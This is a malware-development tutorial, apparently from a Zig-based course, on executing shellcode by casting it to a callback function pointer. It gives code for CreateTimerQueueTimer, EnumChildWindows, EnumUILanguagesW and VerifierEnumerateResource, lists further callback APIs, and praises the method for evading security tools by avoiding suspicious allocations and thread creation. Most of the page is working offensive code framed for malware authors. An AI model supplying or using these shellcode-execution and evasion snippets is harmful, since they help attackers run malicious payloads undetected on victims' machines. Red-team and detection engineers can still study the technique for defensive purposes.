Callback Code Execution
TL;DR
Callback code execution is a technique that leverages Windows API functions that accept callback function pointers to execute shellcode. Instead of using traditional methods like CreateThread or VirtualAlloc, this approach casts shellcode as a legitimate callback function, making it appear more benign to security solutions.
What Is Callback Function
A callback function is a function passed as an argument to another function, which is then invoked at a specific point during the execution of that function. In Windows, many APIs accept callback functions to handle events, enumerate resources, or perform asynchronous operations.
The key insight for malware development is that these callback functions are executed in the same process context with the same privileges, making them perfect vehicles for shellcode execution. By casting shellcode as a callback function pointer, we can trick legitimate Windows APIs into executing our malicious code.
Common Callback Functions
Using CreateTimerQueueTimer
CreateTimerQueueTimer
creates a timer-queue timer that executes a callback function when the timer expires. This is one of the most reliable callback execution techniques.
extern "kernel32" fn CreateTimerQueueTimer(
phNewTimer: *?windows.HANDLE,
TimerQueue: ?windows.HANDLE,
Callback: WAITORTIMERCALLBACK,
Parameter: ?*anyopaque,
DueTime: windows.DWORD,
Period: windows.DWORD,
Flags: windows.ULONG,
) callconv(WINAPI) windows.BOOL;
const WAITORTIMERCALLBACK = *const fn (?*anyopaque, windows.BOOL) callconv(WINAPI) void;
// Cast the payload address to the callback function type
const callback = @as(WAITORTIMERCALLBACK, @ptrCast(&payload));
if (CreateTimerQueueTimer(
&hTimer,
null, // TimerQueue - use default queue
callback, // Callback - our shellcode
null, // Parameter
0, // DueTime - execute immediately
0, // Period - execute once
0, // Flags
) == 0) {
print("[!] CreateTimerQueueTimer Failed With Error: {}\n", .{windows.kernel32.GetLastError()});
return;
}
Using EnumChildWindows
EnumChildWindows
enumerates child windows and calls a callback function for each window found. When passed a NULL
parent window, it enumerates all top-level windows.
extern "user32" fn EnumChildWindows(
hWndParent: ?HWND,
lpEnumFunc: WNDENUMPROC,
lParam: LPARAM,
) callconv(WINAPI) windows.BOOL;
const WNDENUMPROC = *const fn (HWND, LPARAM) callconv(WINAPI) windows.BOOL;
// Cast the payload address to the callback function type
const callback = @as(WNDENUMPROC, @ptrCast(&payload));
if (EnumChildWindows(null, // NULL parent enumerates all top-level windows
callback, // Our payload
0 // NULL lParam
) == 0) {
print("[!] EnumChildWindows Failed With Error: {}\n", .{windows.kernel32.GetLastError()});
return;
}
Using EnumUILanguagesW
EnumUILanguagesW
enumerates the user interface languages available on the system, calling a callback function for each language found.
extern "user32" fn EnumUILanguagesW(
lpUILanguageEnumProc: UILANGUAGE_ENUMPROCW,
dwFlags: DWORD,
lParam: LPARAM
) callconv(WINAPI) windows.BOOL;
const UILANGUAGE_ENUMPROCW = *const fn ([*:0]u16, LPARAM) callconv(WINAPI) windows.BOOL;
const MUI_LANGUAGE_NAME: DWORD = 0x8;
// Cast the payload address to the callback function type
const callback = @as(UILANGUAGE_ENUMPROCW, @ptrCast(&payload));
if (EnumUILanguagesW(callback, MUI_LANGUAGE_NAME, 0) != 0) {
print("[!] EnumUILanguagesW Failed With Error: {}\n", .{windows.kernel32.GetLastError()});
return;
}
Using VerifierEnumerateResource
VerifierEnumerateResource
is part of the Application Verifier framework and enumerates application resources, calling a callback for each resource found.
// Application Verifier callback function type
const AVRF_RESOURCE_ENUMERATE_CALLBACK = *const fn (
PVOID, // ResourceDescription
PVOID, // EnumerationContext
PULONG, // EnumerationLevel
) callconv(WINAPI) ULONG;
// Function pointer type for VerifierEnumerateResource
const FnVerifierEnumerateResource = *const fn (
HANDLE, // Process
ULONG, // Flags
ULONG, // ResourceType
AVRF_RESOURCE_ENUMERATE_CALLBACK, // ResourceCallback
?PVOID, // EnumerationContext
) callconv(WINAPI) ULONG;
// Load verifier.dll dynamically
hModule = LoadLibraryA("verifier.dll");
const proc_addr = GetProcAddress(hModule.?, "VerifierEnumerateResource");
pVerifierEnumerateResource = @as(FnVerifierEnumerateResource, @ptrCast(proc_addr.?));
// Cast the payload address to the callback function type
const callback = @as(AVRF_RESOURCE_ENUMERATE_CALLBACK, @ptrCast(&payload));
// Call VerifierEnumerateResource
_ = pVerifierEnumerateResource.?(
GetCurrentProcess(),
0,
AvrfResourceHeapAllocation,
callback,
null,
);
More
The callback execution technique is versatile and can be applied to many Windows APIs. Some additional functions that accept callbacks include:
EnumerateLoadedModules
- Enumerates loaded modules in a processEnumDirTreeW
- Enumerates directory trees with file patternsSymEnumProcesses
- Enumerates processes for symbol handlingEnumPageFilesW
- Enumerates system paging filesLdrEnumerateLoadedModules
- Low-level module enumeration via NTDLLEnumWindows
- Enumerates all top-level windowsEnumResourceTypesW
- Enumerates resource types in modulesEnumFontsW
- Enumerates fonts
You can checkout more callback functions in this GitHub repository.
Advantages Of Callback Execution
- Evasion: Appears as legitimate API usage to security tools
- No Suspicious Allocations: Uses existing executable memory (.text section)
- No Thread Creation: Executes in the context of existing threads
- API Diversity: Many different APIs can be used, making detection harder
- Legitimate Context: Code runs through legitimate Windows API call chains